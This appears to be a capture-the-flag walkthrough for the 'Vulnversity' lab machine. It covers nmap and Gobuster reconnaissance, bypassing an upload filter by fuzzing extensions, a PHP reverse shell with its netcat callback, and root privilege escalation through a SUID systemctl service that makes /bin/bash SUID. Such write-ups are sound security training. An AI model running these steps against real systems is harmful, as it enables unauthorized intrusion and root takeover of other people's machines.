Vulnversity
Task 1 - Deploy the machine
🎯 Target IP: 10.10.39.96
Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
su
echo "10.10.39.96 vulnversity.thm" >> /etc/hosts
mkdir thm/vulnversity
cd thm/vulnversity
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hostsI prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
ping -c 3 vulnversity.thmPING vulnversity.thm (10.10.39.96) 56(84) bytes of data.
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=1 ttl=63 time=245 ms
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=2 ttl=63 time=99.3 ms
64 bytes from vulnversity.thm (10.10.39.96): icmp_seq=3 ttl=63 time=224 msSending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
2.1 - Scan the box; how many ports are open?
nmap --open -n -Pn -vvv vulnversity.thmPORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3128/tcp open squid-http syn-ack ttl 63
3333/tcp open dec-notes syn-ack ttl 632.2 - What version of the squid proxy is running on the machine?
3128/tcp open squid-http syn-ack ttl 63Seeing last report scan, we see that squid-http is a service of tcp port 3128.
nmap -p3128 -sV -sC -n -Pn -vvv vulnversity.thm PORT STATE SERVICE REASON VERSION
3128/tcp open http-proxy syn-ack ttl 63 Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.122.3 - How many ports will Nmap scan if the flag -p-400 was used?
2.4 - What is the most likely operating system this machine is running?
nmap -O -sV vulnversity.thmAggressive OS guesses: Linux 5.4 (99%), Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel2.5 - What port is the web server running on?
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))2.6 - What is the flag for enabling verbose mode using Nmap?
Task 3 - Locating directories using Gobuster
Using a fast directory discovery tool called Gobuster, you will locate a directory to which you can use to upload a shell.
Gobuster is a tool used to brute-force URIs (directories and files), DNS subdomains, and virtual host names.
gobuster dir -u http://vulnversity.thm:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt3.1 - What is the directory that has an upload form page?
2023/06/11 10:35:41 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 326] [--> http://vulnversity.thm:3333/images/]
/css (Status: 301) [Size: 323] [--> http://vulnversity.thm:3333/css/]
/js (Status: 301) [Size: 322] [--> http://vulnversity.thm:3333/js/]
/internal (Status: 301) [Size: 328] [--> http://vulnversity.thm:3333/internal/]Task 4 - Compromise the Webserver
Now that you have found a form to upload files, we can leverage this to upload and execute our payload, which will lead to compromising the web server.
4.1 - What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.
We will fuzz the upload form to identify which extensions are not blocked.
To do this, we're going to use BurpSuite.
We're going to use Intruder (used for automating customised attacks).
To begin, make a wordlist with the following extensions:
.php
.php3
.php4
.php5
.phtml
Now that we know what extension we can use for our payload, we can progress.
We are going to use a PHP reverse shell as our payload. A reverse shell works by being called on the remote host and forcing this host to make a connection to you. So you'll listen for incoming connections, upload and execute your shell, which will beacon out to you to control!
Download the following reverse PHP shell here.
$ip = 'vulnversity.thm';
$port = 4444; 4.2 - What is the name of the user who manages the webserver?
listening on [any] 4444 ...
connect to [10.9.80.228] from (UNKNOWN) [10.10.114.236] 39004
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:05:44 up 46 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off$ ls home
bill4.3 - What is the user flag?
cd home/bill
ls -ah
.
..
.bash_logout
.bashrc
.profile
user.txtcat user.txtTask 5 - Privilege Escalation
Now that you have compromised this machine, we will escalate our privileges and become the superuser (root).
In Linux, SUID (set owner userId upon execution) is a special type of file permission given to a file. SUID gives temporary permissions to a user to run the program/file with the permission of the file owner (rather than the user who runs it).
For example, the binary file to change your password has the SUID bit set on it (/usr/bin/passwd). This is because to change your password, it will need to write to the shadowers file that you do not have access to, root does, so it has root privileges to make the right changes.
5.1 - On the system, search for all SUID files. Which file stands out?
We can use the following command to list SUID files:
find / -user root -perm -4000 -exec ls -ldb {} \;-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 76408 Jul 17 2019 /usr/lib/squid/pinger
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
-rwsr-xr-x 1 root root 659856 Feb 13 2019 /bin/systemctl
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount/bin/systemctl stands out, at it is used to control and monitor services!
5.2 - Become root and get the last flag (/root/root.txt)
We can use script of this website to became a root, in this case we choose systemctl process https://gtfobins.github.io/gtfobins/systemctl/
sudo install -m =xs $(which systemctl) .
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c “chmod +s /bin/bash”
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TFwhoami
root
cat /root/root.txtLast updated